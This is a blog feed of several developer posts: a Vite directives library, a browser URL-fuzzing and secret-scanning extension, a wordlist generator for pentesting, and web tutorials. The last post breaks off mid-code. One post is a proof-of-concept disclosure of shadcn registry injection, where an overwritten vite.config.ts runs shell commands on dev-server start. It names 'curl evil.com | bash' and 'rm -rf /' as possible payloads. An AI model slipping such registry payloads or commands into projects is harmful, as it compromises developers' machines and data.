DEV Community: Adem Kouki

use nemo : Custom Directives Library

Adem Kouki — Thu, 13 Nov 2025 23:44:44 +0000

TLDR

This library allows you to create custom directives similar to React's "use client" or "use server". Directives are special string annotations that trigger custom transformations during the Vite build process.

Inspiration

Seeing this meme inspired the creation of this library, allowing developers to define their own directives and associated behaviors in a flexible manner.

You want a "use nemo" directive? You got it!
You want a "use cat" directive? Go ahead!
You want a "use dog" directive? Sure thing!
Any directive you can dream of, you can create it!

I realized that many developers could benefit from a system that allows for custom directives, enabling code transformations and behaviors tailored to specific needs.

For example, you could create a "use analytics" directive that automatically injects analytics tracking code into your components, or a "use debug" directive that adds logging functionality. Or even a "use feature-flag" directive that conditionally includes code based on feature flags.

The possibilities are endless!

Installation

Works with Vite and React projects. (Will add support for other frameworks later, PRs are welcome)

npm install use-nemo

How to Use

In your vite.config.ts, import and add the plugin:

// vite.config.ts
import customDirectives from "use-nemo";

export default defineConfig({
  plugins: [customDirectives(), react()],
});

Creating a Directive

Step 1: Create a directive handler

Create a new file in src/directives/ directory:

// src/directives/useMyDirective.ts
import { directiveRegistry, injectCode } from "use-nemo";
import type { DirectiveHandler } from "use-nemo";

const myDirective: DirectiveHandler = {
  name: "nemo", // This is the name used in "use nemo"
  handler({ code, id, directiveName }) {
    // Transform the code as needed
    return injectCode(code, () => {
      console.log("🐟");
    });
  },
};

directiveRegistry.register(myDirective);

Step 2: Use the directive in your code

// src/components/MyComponent.tsx
"use nemo";

export function MyComponent() {
  return <div>My component</div>;
}

Demo: https://stackblitz.com/edit/use-nemo-example

API Reference

DirectiveHandler

interface DirectiveHandler {
  name: string; // The directive name (without "use" prefix)
  handler(context: DirectiveContext): string | null;
}

DirectiveContext

interface DirectiveContext {
  code: string; // The source code
  id: string; // The file identifier
  directiveName: string; // The directive name
}

Helper Functions

`injectCode(baseCode, injectionFn)`

Injects executable code into the source:

return injectCode(code, () => {
  console.log("This runs when the module loads!");
});

`injectComment(baseCode, comment)`

Adds a comment to the code:

return injectComment(code, "This module uses special processing");

`injectImport(baseCode, importStatement)`

Adds an import statement at the top:

return injectImport(code, 'import { something } from "lib";');

Example: useMeow Directive

The included useMeow directive demonstrates how to create a simple directive:

// src/directives/useMeow.ts
import { directiveRegistry, injectCode } from "../../custom-directives";
import type { DirectiveHandler } from "../../custom-directives";

const useMeowDirective: DirectiveHandler = {
  name: "meow",
  handler({ code, id }) {
    console.log(`[useMeow] Processing directive in ${id}`);
    return injectCode(code, () => {
      console.log("🐱 Meow!");
    });
  },
};

directiveRegistry.register(useMeowDirective);

Usage:

"use meow";

function App() {
  return <h1>Hello world!</h1>;
}

How It Works

Discovery: When you import a directive file (e.g., import "./directives/useMeow"), the directive handler is registered in the global registry
Parsing: The Vite plugin scans source code for directives matching the pattern "use <name>"
Transformation: For each directive found, the corresponding handler transforms the code
Injection: The transformed code is returned with any injected functionality
Cleanup: The directive string itself is removed from the final code

Tips

Directive names should be lowercase with hyphens (e.g., use my-directive)
Always return the transformed code from the handler, or return null to skip transformation
Use injectCode, injectComment, or injectImport helper functions for common patterns
Directives are processed once per file during the build
Multiple directives can be used in the same file

Best Practices

Keep directives simple: Each directive should do one thing well
Use TypeScript: Define clear types for your directive context and handler
Avoid side effects: Directives should primarily perform transformations, not complex runtime logic

Github: https://github.com/Ademking/use-nemo

FlashFuzz ⚡Quick URL Fuzzing & Secret Scanning, straight from your browser

Adem Kouki — Tue, 14 Oct 2025 06:18:10 +0000

TL;DR: I built FlashFuzz, an open-source browser extension that fuzzes URLs and scans loaded JavaScript for likely secrets across all open tabs — so you don't have to jump between terminal tools and your browser during recon. Fast, lightweight, and made for pentesters & bug bounty hunters. Try it: https://github.com/Ademking/FlashFuzz

When I’m doing recon I kept switching between terminal tools like ffuf/dirsearch and whatever tab I was actively exploring. That context-switching slowed me down. I wanted something that:

(a) fuzzes the URLs I already have open,

(b) inspects the JS loaded in those tabs for likely secrets, and

(c) runs quickly without leaving the browser.

Enter FlashFuzz — a plug-and-play Chrome extension for quick, in-browser URL fuzzing and automated secret scanning.

Demo

You can watch a short demo here:

What it does

Fuzz URLs across all open tabs to discover hidden endpoints and directories.
Scan loaded JavaScript files in each tab for likely secrets (API keys, tokens, AWS keys, etc.).
Support for custom wordlists or built-in example lists.
Concurrent requests with configurable batch size and request interval.
Exportable results with request/response snapshots for reporting or deeper analysis.
Lightweight UI for quick runs and detailed per-result inspection.
Open source — inspect, modify, and contribute.

Why I built it

Switching between the browser and terminal for quick checks was a constant drag. For many reconnaissance tasks you already have the pages you care about open — why not fuzz them directly and scan their JS right there? FlashFuzz is my attempt to reduce friction in that workflow: fast, minimal, and ready for immediate use during manual testing.

Install (developer / local install)

Download the latest release from the Releases page.
Open Chrome and go to chrome://extensions/.
Enable Developer mode (toggle at top right).
Click Load unpacked and select the extracted extension folder.
Pin the FlashFuzz icon to your toolbar and open it to begin fuzzing.

Note: At the moment FlashFuzz is distributed as an unpacked extension for easy testing. Packaged release builds are available on the Releases page.

Basic usage

Ensure FlashFuzz is enabled (toggle in the extension UI).
Open the tabs you want to scan (you can scan one or many).
Configure your wordlist and batch size if needed, then start the run.
View results in the UI — each finding includes the request and response snapshot for quick triage.
Export findings as JSON/CSV for reporting or follow-up.

Key settings

Wordlist: Use the default built-in list or upload your own.
Batch size: Number of concurrent requests (default: 10).
Interval between batches: Delay between batches to reduce load on target hosts (default: 500 ms).
Duplicate response filter: Filter out responses with identical content length to reduce noise.

Security & privacy

All scanning is performed locally in your browser. FlashFuzz does not send your data to external servers.
The extension may generate a large number of requests — use responsibly and only against targets you are authorized to test.

FAQ

Q: Is FlashFuzz free?

A: Yes — it’s free and open source (MIT).

Q: Can I use my own wordlists?

A: Absolutely. Upload your lists via the settings panel.

Q: Will FlashFuzz leak data externally?

A: No — everything runs locally. No external telemetry is sent by the extension.

Disclaimer

FlashFuzz is a reconnaissance tool intended for security testing with explicit authorization. Unauthorized scanning or fuzzing of systems you do not own or have permission to test may be illegal and could be treated as malicious activity. I am not responsible for any damage or legal consequences that arise from misuse. Always get written permission and follow the scope when performing testing.

Contributing

Contributions are welcome! Fork the repo, open issues for feature requests or bugs, and submit pull requests. I’d love help improving wordlists, reducing false positives, and adding integrations (e.g., payload templates, reporting formats, or CI hooks).

GitHub: https://github.com/Ademking/FlashFuzz

Final notes

If you try FlashFuzz I’d really appreciate feedback — bugs, feature requests, or any ideas to make it more useful in real recon workflows. Drop an issue or a PR on GitHub, or ping me on social channels.

The Risk of Registry Injection Attacks with shadcn

Adem Kouki — Mon, 07 Jul 2025 02:45:43 +0000

TL;DR: Shadcn registries let you install UI components fast, but they can also include dev dependencies, overwrite config files, and silently inject malicious code into your project.

POC:

So the other day, I was digging through the shadcn/ui registry documentation.

I was exploring how the registry system works. It's a cool idea: you can define a list of components, and it installs everything you need... Dependencies, files, even configuration files etc.

But then I noticed something that gave me chills.

A registry.json file can have this:

{
    "$schema": "https://ui.shadcn.com/schema/registry-item.json",
    "name": "component1",
    "type": "registry:ui",
    "title": "A simple component",
    "devDependencies": [ "vite-plugin-run" ], <----- THIS LINE
    ...
}

That seems harmless, right? It’s just a dev dependency.

But here’s the thing: this plugin "vite-plugin-run" can execute arbitrary commands when your dev server starts. Let me show you.

Let’s say someone gives you a component and tells you to use it:

npx shadcn@latest add https://evil.com/registry.json --overwrite

You trust them. Maybe it's from a GitHub repo. Maybe it's from a tweet. Maybe it even says “official” in the README.

Let’s take a look inside https://evil.com/registry.json

{
    "$schema": "https://ui.shadcn.com/schema/registry-item.json",
    "name": "test",
    "type": "registry:ui",
    "title": "Test",
    "devDependencies": [
        "vite-plugin-run"
    ],
    "files": [
        {
            "path": "vite.config.ts",
            "content": "import { defineConfig } from \"vite\";\nimport react from \"@vitejs\/plugin-react\";\nimport { run } from \"vite-plugin-run\";\nimport path from \"path\";\nimport tailwindcss from \"@tailwindcss\/vite\";\n\nexport default defineConfig({\n  plugins: [\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    run({\n      silent: false,\n      input: [\n        {\n          name: \"command\",\n          run: [\n            \"echo\",\n            \"You trusted the wrong registry! You've been hacked :)\",\n          ],\n        },\n      ],\n    }),\n    \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n    react(),\n    tailwindcss(),\n  ],\n  resolve: {\n    alias: {\n      \"@\": path.resolve(__dirname, \".\/src\"),\n    },\n  },\n});",
            "type": "registry:file",
            "target": "~/vite.config.ts"
        }
    ]
}

This registry.json looks like a normal shadcn component, but it’s actually a trap.

It installs "vite-plugin-run", overwrites your vite.config.ts, and injects a command that runs when the dev server starts.

import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
import { run } from "vite-plugin-run";
import path from "path";
import tailwindcss from "@tailwindcss/vite";

export default defineConfig({
  plugins: [
    ////////////////////////////////
    run({
      silent: false,
      input: [
         {
          name: "command",
          run: [
            "echo",
            "You trusted the wrong registry! You've been hacked :)",
          ],
        },
      ],
    }),
    ////////////////////////////////
    react(),
    tailwindcss(),
  ],
  resolve: {
    alias: {
      "@": path.resolve(__dirname, "./src"),
    },
  },
});

That vite-plugin-run lets me execute any shell command I want. Literally anything.

It could be "rm -rf /" , it could be "curl evil.com | bash", or it could just silently send your secret files somewhere. And the best part? It runs as soon as you start vite.

No warning, no prompt. Just... "Boom"

You won’t even notice until it’s too late.

What can you do?

Treat third-party registries like you treat npm packages
Never Trust a Registry You Didn’t Write
That --overwrite Flag? It’s a Trap
Just Because It’s JSON Doesn’t Mean It’s Safe

Stay vigilant. Just because something comes from a registry or looks like simple JSON doesn’t mean it’s safe.

If you're curious and want to try it yourself, here's a minimal registry.json to experiment with:

Github Repository: https://github.com/Ademking/shadcn-registry-injection-poc

npx shadcn@latest add https://shadcn-poc.surge.sh/fake-component.json --overwrite

📜 RepoList - A tool to generate wordlists based on GitHub repositories

Adem Kouki — Sat, 25 Nov 2023 01:39:30 +0000

Hello everyone, I am back with another tool. This time it is a tool to generate wordlists based on GitHub repositories. I have named it Repolist

It is a simple tool written in Python. The code is available on GitHub and the package is available on PyPI.

The story behind Repolist

I was working on pentesting a website. I was trying to bruteforce the directories and files on the website. Using the common wordlists from seclists didn't help much. So I thought of creating a custom wordlist.

I know for a fact that the website is using an open source e-commerce platform called PrestaShop for its backend. So I thought of creating a wordlist based on the files and directories of PrestaShop.

I didn't want to manually copy the files and directories. So I thought of creating a tool that would do it for me.

I'm sure there are other tools that do the same thing. But I wanted to create my own tool just for fun. Python is not my primary language for development. So I thought it would be a good opportunity to use Python for this project.

What is Repolist?

Repolist is a tool that generates wordlists based on GitHub repositories. It uses GitHub API to fetch the files and directories of a repository. It then saves the files and directories in a text file.

To use Repolist, just run the following command:

pip3 install repolist

To generate a wordlist, run the following command:

repolist -u "https://github.com/username/repository"

Options

Arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Github repository URL (required)
  -o OUTPUT, --output OUTPUT
                        Output file (optional)
  -b BRANCH, --branch BRANCH
                        Use a specific branch (optional)
  -t TOKEN, --token TOKEN
                        Github token (optional)
  -p PREFIX, --prefix PREFIX
                        Prefix (optional)
  -s SUFFIX, --suffix SUFFIX
                        Suffix (optional)
  -f, --files           Get only files (optional)
  -d, --directories     Get only directories (optional)
  -v, --verbose         Verbose mode (optional)
  --proxy PROXY         Proxy (optional)

Combining Repolist with other tools

Using RepoList with tools like ffuf, httpx and gobuster can be very useful for penetration testing and bug bounty programs.

For example, you can use ffuf to bruteforce the files and directories of a website using the wordlist generated by Repolist.

repolist -u "https://github.com/WordPress/WordPress" | ffuf -u "http://example.com/FUZZ" -w -

If you have other tools in mind, please let me know in the comments below.

How I made Repolist?

I've used Python with Poetry to create Repolist. Poetry is fairly new to me and It was a great experience using it. Easy setup and dependency management. With few commands, I was able to create the project and publish it to PyPI. I will definitely use it for my future projects.

Argparse is used to parse the command line arguments. Requests is used to make the HTTP requests to GitHub API.

The code behind Repolist

The code is fairly simple. It uses the GitHub API to fetch the files and directories of a repository. It then saves the files and directories in a text file.

Here is a small snippet of how it works:

    def _get_files_and_directories(self, username="", repo="", branch="main"):
        """
        Get files and directories from a repository (recursive)
        https://docs.github.com/en/rest/reference/git#trees
        """
        url = "https://api.github.com/repos/{}/{}/git/trees/{}?recursive=1".format(
            username, repo, branch)
        r = self._make_request(url) # add headers if token is specified
        if r.status_code == 200:
            for file in r.json()["tree"]:
                self.repo_content.append({
                    "path": file["path"],
                    "type": file["type"]
                })
        else:
            self._log_error(type=r.status_code, msg=r.text)
            exit(1)

Using Poetry to publish to PyPI

Poetry makes it very easy to build and publish the package to PyPI. Those who are new to Poetry, here is how you can do it:

poetry new repolist
poetry build
poetry install
poetry publish

You can read more about it here.

Rate limit and proxies

Github API has a rate limit. So I have added an option to specify proxies and tokens. You can also specify a specific branch to get the files and directories.

Conclusion

If you read this far, thank you for reading. I hope you find RepoList useful. If you have any suggestions or feedback, please let me know in the comments below.

Ademking / repolist

Generate wordlists from Github repositories

RepoList - Generate Wordlists from GitHub Repositories

Repolist is a command-line interface (CLI) tool designed to generate wordlists from GitHub repositories. It simplifies the process of extracting files and directories from GitHub repos, enabling the creation of custom wordlists for penetration testing and bug bounty programs.

You can read more about it in this blog: https://ademkouki.tech/posts/repolist

Features

Wordlist Generation: Easily create wordlists from GitHub repositories. Choose between generating a wordlist of files, directories, or both.
Customization: Add custom prefixes and suffixes to the generated wordlists, such as appending .php to each word.
Support for Private Repositories: Access and generate wordlists from both private and public repositories by providing a GitHub token using the -t option.
Branch Selection: Specify a different branch using the -b option.
Proxy Support: Utilize a proxy by using the -p option.

…

View on GitHub

Let Your Jekyll Blog Speak for Itself: Implementing Speech Synthesis

Adem Kouki — Wed, 08 Feb 2023 05:35:03 +0000

In this blog post, I will show you how to add Speech Synthesis to your Jekyll blog. This feature is available in all modern browsers and is a great way to add accessibility to your blog. It is also a great way to add a little bit of fun to your blog. I will show you how to add a button to your blog that will read the content of the blog post aloud.

What is Speech Synthesis?

Speech Synthesis is a web API that allows you to convert text to speech. You can read more about it here: https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis

How to add Speech Synthesis to your Jekyll blog

To add Speech Synthesis to your Jekyll blog, you will need create a new file in your _includes folder called audio.html. This file will contain the HTML and JavaScript that will add the Speech Synthesis feature to your blog.

HTML

The HTML for the Speech Synthesis feature is pretty simple. You will need a button that will trigger the speech synthesis.

<div class="audio-block">
  <p style="text-align: center;">🔊 PLAY THIS ARTICLE</p>
  <div class="audio-btn"></div>
</div>

JavaScript

You will need to add a click event listener to the button that will trigger the speech synthesis. You will also need to add a beforeunload event listener to the window that will cancel the speech synthesis when the user navigates away from the page.

// get the button
const audioBtn = document.querySelector(".audio-block");
// set the default state of the button
let isPlaying = false;
// get the default title of the tab (so we can change it later)
let defaultTabTitle = document.title;
// check if speechSynthesis is available in the browser
const isSynthAvailable = window.speechSynthesis !== undefined;
// if speechSynthesis is not available, hide the button
if (!isSynthAvailable) {
  audioBtn.style.display = "none";
}
// speak the text passed in as a parameter, and call the onend function when the speech is finished
function speak(text, onend) {
  window.speechSynthesis.cancel();
  var ssu = new SpeechSynthesisUtterance(text);
  window.speechSynthesis.speak(ssu);
  function _wait() {
    if (!window.speechSynthesis.speaking) {
      onend();
      return;
    }
    window.setTimeout(_wait, 200);
  }
  _wait();
}

// get the text from the blog post
function getBlogText() {
  const text = document.querySelectorAll(".content > *");
  let textArray = [];
  text.forEach((elem) => {
    textArray.push(elem.innerText);
  });
  // remove "Copy" from the start of the text
  textArray.forEach((elem, index) => {
    // if the text starts with "Copy", remove it
    if (elem.startsWith("Copy")) textArray[index] = elem.replace("Copy\n", "");
  });
  return textArray.join("\n");
}
// add click event listener to the button
audioBtn.addEventListener("click", () => {
  isPlaying = !isPlaying;
  if (isPlaying) {
    let text = getBlogText();
    speak(text, () => {
      isPlaying = false;
      audioBtn.classList.remove("active");
    });
  } else {
    window.speechSynthesis.cancel();
  }
  audioBtn.classList.toggle("active");
});

// stop audio when user navigates away from the page
window.addEventListener("beforeunload", () => {
  window.speechSynthesis.cancel();
});

// change title of the tab when audio is playing (to show that audio is playing)
window.setInterval(() => {
  if (isPlaying) {
    document.title = "🔊 Playing... " + defaultTabTitle;
  } else {
    document.title = defaultTabTitle;
  }
}, 500);

I made this sandbox to show you how the Speech Synthesis feature works. You can play around with the code and see how it works. You can also see how the Speech Synthesis feature works on my blog.

Conclusion

Without using any third-party APIs, you can add Speech Synthesis to your Jekyll blog. This is a great way to add accessibility to your blog and also a great way to add a little bit of fun to your blog. I hope you enjoyed this tutorial and learned something new. If you have any questions, feel free to leave a comment below.

The Readability-Performance Paradox: My Experience as a Small Team Developer

Adem Kouki — Wed, 08 Feb 2023 05:35:03 +0000

As a software developer working in a small team, maintaining a balance between code readability and performance is a constant challenge. On one hand, code readability is crucial for ensuring that other team members can understand and work with our code. On the other hand, performance is essential for delivering a seamless user experience.

In this post, I will share my experience of balancing these competing priorities and provide some tips for achieving a balance in your own work.

In my experience, code readability has been especially important in a small team setting. We often work on projects with tight deadlines and limited resources, so it's crucial that everyone on the team can understand and work with our code. This is where code readability comes in - by using clear and meaningful variable and function names, breaking up complex code into smaller chunks, and using comments to explain what our code is doing, we can make our code more manageable and easier to understand.

However, this does not mean that we can neglect performance. In fact, in a small team setting, performance is even more crucial as it can directly impact the user experience and the overall success of the project. To balance this, we make sure to optimize only the parts of our code that are causing performance issues, rather than trying to optimize everything. Performance optimization is a complex topic, and there are many different ways to approach it.

In my experience, the most effective way to optimize performance is to use a combination of tools and techniques.
I mainly program in TypeScript (Angular, Node) and PHP (Laravel), so I will focus on these languages in this post. However, the same principles apply to other languages as well.

TypeScript

In TypeScript, there are a number of tools and techniques that can help you to optimize performance. For example, using ESlint with your team can help you to maintain a consistent coding style and avoid common mistakes. It can also help you to identify and fix performance issues in your code. However, it's important to remember that ESlint is not a silver bullet - it can't fix all of your performance issues, and it can't make your code more readable. So, while it's a great tool to have in your toolbox, it's not a replacement for good coding practices.

Angular Performance Checklist

The Angular Performance Checklist is a great resource for optimizing performance in Angular. It provides a list of common performance issues and best practices for avoiding them. It also provides a list of tools and techniques that can help you to identify and fix performance issues in your code.

Observables and RxJS

Always double check if you really need to use Observables and RxJS. They are great tools, but they can also be a source of performance issues. You should make sure that you are unsubscribing from the Observable when you no longer need the data. Otherwise, you will end up with a memory leak.

Change Detection

Change detection is a process that Angular uses to detect changes in your application. It's triggered whenever a change is detected in your application. However, it can also be triggered by events that are not related to your application. For example, if you have a button that triggers a change detection, it will also trigger a change detection when the user clicks on it. This can cause performance issues, so it's important to make sure that you are only triggering change detection when it's necessary.

Laravel Performance

When using Laravel's "with" method, you should make sure that you are only loading the data that you need. Otherwise, you will end up with a performance issue. For example, if you have a "users" with many "posts", you should make sure that you are only loading the "posts" that you need.

More information about this can be found in the https://kinsta.com/blog/laravel-performance/

Update Your Dependencies Regularly

It's important to make sure that you are regularly updating your dependencies. This will ensure that you are using the latest version of the library, which will help you to avoid performance issues.

SonarQube to the Rescue

SonarQube is another tool that can help you to identify and fix performance issues in your code. It's a static code analysis tool that can be used to analyze your code and identify potential performance issues. It can also be used to identify and fix security vulnerabilities in your code. However, it's important to remember that SonarQube is not a silver bullet - it can't fix all of your performance issues, and it can't make your code more readable. So, while it's a great tool to have in your toolbox, it's not a replacement for good coding practices.

Conclusion

Balancing code readability and performance is a constant challenge. By using clear and meaningful variable and function names, breaking up complex code into smaller chunks, and using comments to explain what our code is doing, we can make our code more manageable and easier to understand. Additionally, by focusing on optimizing only the parts of the code that are causing performance issues and regularly reviewing our code, we can ensure that our code meets the standards for both readability and performance.

I hope that you found this post useful and that it will help you to improve your own work. If you have any suggestions or feedback, please leave a comment below.

Fixing Corrupted DOCX Files with PowerShell: A Step-by-Step Guide

Adem Kouki — Wed, 08 Feb 2023 05:34:33 +0000

As businesses continue to rely heavily on technology, it's become increasingly important to ensure that all systems are running smoothly. One area where this is especially true is with the generation and distribution of reports. In today's fast-paced business environment, it's essential that reports are delivered on time and in a format that can be easily read and understood. Unfortunately, this isn't always the case...

One of the most commonly used document formats is the Microsoft Word DOCX file. DOCX files are prone to getting corrupted and It can cause a variety of issues such as difficulty opening the file, missing content, or unexpected error messages.

In this article, I'll show you how to use PowerShell to repair DOCX files.

Step 1: Install Microsoft Office

Before we begin, it's essential to have Microsoft Office installed on your computer. The script we'll be using requires the Microsoft Word COM object, which is only available if you have Office installed.

Step 2: The Script

This is the script that I wrote to repair DOCX files.

The tiny script takes two arguments, the input file path and the output file path. For example, if your corrupted DOCX file is located in "C:\old.docx" and you want to save the repaired file as "C:\new.docx," you would run the following command:

Try {
        $InputFilePath = $args[0]
        $OutputFilePath = $args[1]

        $Doc = $InputFilePath
        $word = New-Object -ComObject word.application
        $word.Visible = $false

        #                            1      2       3       4     5   6    7     8   9 10   11     12     13   14    15        16
        [void]$word.documents.Open($Doc, $false, $false, $false, "", "", $true, "", "", 0, $null, $true, $true, 0, $false) #, $null)

        <# Open Parameters:
        Document Open(
             1 string FileName,
             2 bool ConfirmConversions,
             3 bool ReadOnly,
             4 bool AddToRecentFiles,
             5 string PasswordDocument,
             6 string PasswordTemplate,
             7 bool Revert,
             8 string WritePasswordDocument,
             9 string WritePasswordTemplate,
            10 int Format,
            11 Object Encoding,
            12 bool Visible,
            13 bool OpenAndRepair, <- this
            14 int DocumentDirection,
            15 bool NoEncodingDialog,
            16 Object XMLTransform
        )#>

        $filenameRES = $OutputFilePath
        $saveFormat = [Microsoft.Office.Interop.Word.WdSaveFormat]::wdFormatDocumentDefault
        $word.ActiveDocument.SaveAs([ref][system.object]$filenameRES, [ref]$saveFormat)
        $word.ActiveDocument.Close();
        $word.Quit()

        # Clean up Com object
        $null = [System.Runtime.InteropServices.Marshal]::ReleaseComObject([System.__ComObject]$word)
        Remove-Variable word
}

Catch{
    # Write error to log file
    $_ | Out-File C:\fix-docs\logs.txt
}

Step 3: Run the Script

To run the script, open PowerShell and navigate to the directory where the script is located. Then, run the following command:

.\fix-docx.ps1 "C:\old.docx" -"C:\new.docx"

After running the script, the repaired file should now be saved to the output file path specified in the second argument. Open the newly saved file to verify that it has been repaired successfully.

Step 4: Automate the Process

The script we just wrote can be used to repair DOCX files manually. However, it can also be used to automate the process of repairing DOCX files. For example, you could use the script to repair all DOCX files in a directory. or you could use it to repair DOCX files after they've been generated.

If you have any questions about the script, feel free to leave a comment below. I'll do my best to answer any questions you may have.

FREE Programming Cheat Sheets

Adem Kouki — Wed, 08 Feb 2023 05:34:32 +0000

Programming is a vast field and it is very difficult to remember all the syntaxes and commands. So, I have compiled a list of programming cheat sheets that will help you to remember the syntaxes and commands.

Python

https://quickref.me/python

https://cheatography.com/itsellej/cheat-sheets/git-commands/

JavaScript

https://htmlcheatsheet.com/js

Bash

https://devhints.io/bash

https://sqltutorial.org/sql-cheat-sheet

HTML

https://htmlcheatsheet.com

https://htmlcheatsheet.com/css

Sass

https://devhints.io/sass

Tailwind

https://nerdcave.com/tailwind-cheat-sheet

React.js

https://upmostly.com/ultimate-reactjs-cheat-sheet

Adding cmd-k for Quick Navigation

Adem Kouki — Wed, 08 Feb 2023 05:34:03 +0000

If you're a frequent blogger or reader, you know how time-consuming it can be to search through a long list of posts for a specific piece of content.
That's why adding a quick search feature to your blog can be a game-changer. Not only does it save time, but it also improves the user experience for your readers.

In this post, we'll walk through how to implement quick search on your Jekyll blog. By the end of this tutorial, you'll have a search bar that allows your readers to easily find what they're looking for on your site. Let's get started!

1) Import the Quick Search Library (Ninja-key)

While there are many ways to implement quick search on your Jekyll blog, we'll be using a library called Ninja-key. Ninja-key is a lightweight JavaScript library that allows you to add a quick search feature to your site. It's easy to use and has a lot of customization options.

To get started, we'll need to import the Ninja-key library into our site. To do this, we'll add the following script tag to the head of our default layout file:

<script type="module" src="https://unpkg.com/ninja-keys?module"></script>

2) Add the Search Bar

Now that we've imported the Ninja-key library, we can add the search bar to our site. To do this, we'll add the following HTML to the head of our default layout file:

<ninja-keys noAutoLoadMdIcons class="dark"></ninja-keys>

I've added the noAutoLoadMdIcons attribute to prevent the library from loading the Material Design icons. (I hate Material Design icons 😝💩)

I also added the class="dark" attribute to change the color of the search bar to match the color scheme of my site. You can remove this attribute if you want to use the default color scheme.

3) Add the Search Results

In order to display the search results, we'll need to create a new JavaScript file. To do this, we'll create a new file called search.js in the assets/js directory of our site.

Next, we'll add the following code to the search.js file:

---
---
// ☝️☝️ don't remove the above lines
// they are required to make the code work

// Get list of posts from Jekyll
const posts = [
    {% for post in site.posts %}
    {
        title: "{{ post.title | escape }}",
        url: "{{ site.baseurl }}{{ post.url }}",
        date: "{{ post.date | date: "%Y-%m-%d" }}",
        categories: [
            {% for category in post.categories %}
            "{{ category }}",
            {% endfor %}
        ]
    },
    {% endfor %}
];

// Custom Icons for Home and Posts Menu Items
// You can use any SVG icon you want
const articleIcon = '<svg style="padding-right: 10px" width="24" height="24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path fill="none" d="M0 0h24v24H0z"/><path d="M20 22H4a1 1 0 0 1-1-1V3a1 1 0 0 1 1-1h16a1 1 0 0 1 1 1v18a1 1 0 0 1-1 1zM7 6v4h4V6H7zm0 6v2h10v-2H7zm0 4v2h10v-2H7zm6-9v2h4V7h-4z" fill="#fff"/></svg>';
const homeIcon = '<svg style="padding-right: 10px" width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M13.376 3.47a2.248 2.248 0 0 0-2.752 0l-6.75 5.222A2.254 2.254 0 0 0 3 10.475v8.272A2.251 2.251 0 0 0 5.25 21h3a2.251 2.251 0 0 0 2.25-2.253v-2.252a1.5 1.5 0 1 1 3 0v2.252A2.251 2.251 0 0 0 15.75 21h3A2.251 2.251 0 0 0 21 18.747v-8.272c0-.698-.323-1.356-.874-1.783l-6.75-5.222Z" fill="#fff"/></svg>';

// get the ninja-keys element
const ninja = document.querySelector('ninja-keys');
// map the posts to the ninja-keys data format
const myPosts =  posts.map(post => {
    return {
        id: post.title,
        title: post.title,
        icon: articleIcon,
        parent: 'posts',
        handler: () => {
            window.location.href = post.url;
        },
    };
});
// add the home and posts menu items
ninja.data = [
    {
        id: 'home',
        title: 'Home',
        icon: homeIcon,
        handler: () => {
            window.location.href = "{{ site.baseurl }}";
        },
    },
    {
        id: 'posts',
        title: 'Posts',
        icon: articleIcon,
        children: myPosts,
    }
];
// That's it!

4) Add the search.js file to the end of the body of the default layout file

<!-- other tags -->
</body>
<ninja-keys noAutoLoadMdIcons class="dark"></ninja-keys>

<!-- Add search.js after the ninja-keys element 👇-->
<script src="{{site.baseurl}}/assets/js/search.js"></script>

5) Test it out!

Now that we've added the search bar and search results, we can test it out! To do this, open your website in a browser and press ctrl + k to open the search bar.

Don't forget to check out the Ninja-key documentation to learn more about the customization options.

Hope you enjoyed this tutorial! If you have any questions, feel free to leave a comment below. 👇

Export AG-Grid to Excel (without Enterprise version)

Adem Kouki — Wed, 08 Feb 2023 05:34:02 +0000

Exporting data from ag-grid to Excel is a common requirement,
but did you know that this feature is only available in the Enterprise version of ag-grid?
If you are using the Community or Free version of ag-grid, you might be wondering how to export data as an Excel file.

One option is to use a library like ExcelJS to generate an xlsx file from the data in ag-grid.
In this tutorial, I will show you how to use ExcelJS with ag-grid to export data as an xlsx file in an Angular app.

Install file-saver and exceljs

npm i --save exceljs file-saver

We also need to set the path to exceljs.min so that typescript knows where to find it. Open the tsconfig.json and add the path as shown below.

"compilerOptions": {
   ....

   "paths": {
     "exceljs": [
       "node_modules/exceljs/dist/exceljs.min"
     ]
   },
}

Open tsconfig.app.json and add node under the types

{
  "extends": "./tsconfig.json",
  "compilerOptions": {
    "outDir": "./out-tsc/app",
    "types": ["node"]  <==== Add This
  },
  "files": [
    "src/main.ts",
    "src/polyfills.ts"
  ],
  "include": [
    "src/**/*.d.ts"
  ]
}

Create a new service. Let's call it "ExcelService"

import { Injectable } from "@angular/core";
import { Workbook, Column } from 'exceljs';
import * as ExcelProper from "exceljs";
import * as fs from 'file-saver';

@Injectable()
export class ExcelService {
    constructor() { }

    exportToExcel(gridOptions: any, options: any) {

        let { rowsToDisplay } = gridOptions.api.getModel() as any;
        let data = rowsToDisplay.map(row => row.data);

        let workbook: ExcelProper.Workbook = new Workbook();
        let worksheet = workbook.addWorksheet(options.sheetName);
        worksheet.columns = options.columns.map((column: Column) => {
            let headerCol: Partial<Column> = {
                header: column.header,
                key: column.key,
                width: column.width,
            }
            return headerCol
        });

        // Fill data
        data.forEach((row: any) => {
            let newRow = {};
            options.columns.forEach((column: any) => {
                if (column.valueGetter) {
                    newRow[column.key] = column.valueGetter(row);
                }
                else {
                    newRow[column.key] = row[column.key];
                }
            });
            worksheet.addRow(newRow);
        });

        // Set alignment for all rows (wrapText: true for the moment, but can be extended to other properties)
        let rowIndex = 1;
        for (rowIndex; rowIndex <= worksheet.rowCount; rowIndex++) {
            worksheet.getRow(rowIndex).alignment = { vertical: 'top', horizontal: 'left', wrapText: true };
        }

        // get cells of the header
        worksheet.getRow(1).eachCell((cell, colNumber) => {
            cell.fill = {
                type: 'pattern',
                pattern: 'solid',
                fgColor: { argb: '000000' },
                bgColor: { argb: '000000' }
            };
            cell.font = { color: { argb: 'FFFFFF' } };
        });

        // Add filter to the header
        worksheet.autoFilter = {
            from: {
                row: 1,
                column: 1
            },
            to: {
                row: 1,
                column: options.columns.length
            }
        };

        // Save file
        workbook.xlsx.writeBuffer().then((data) => {
            let blob = new Blob([data], { type: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' });
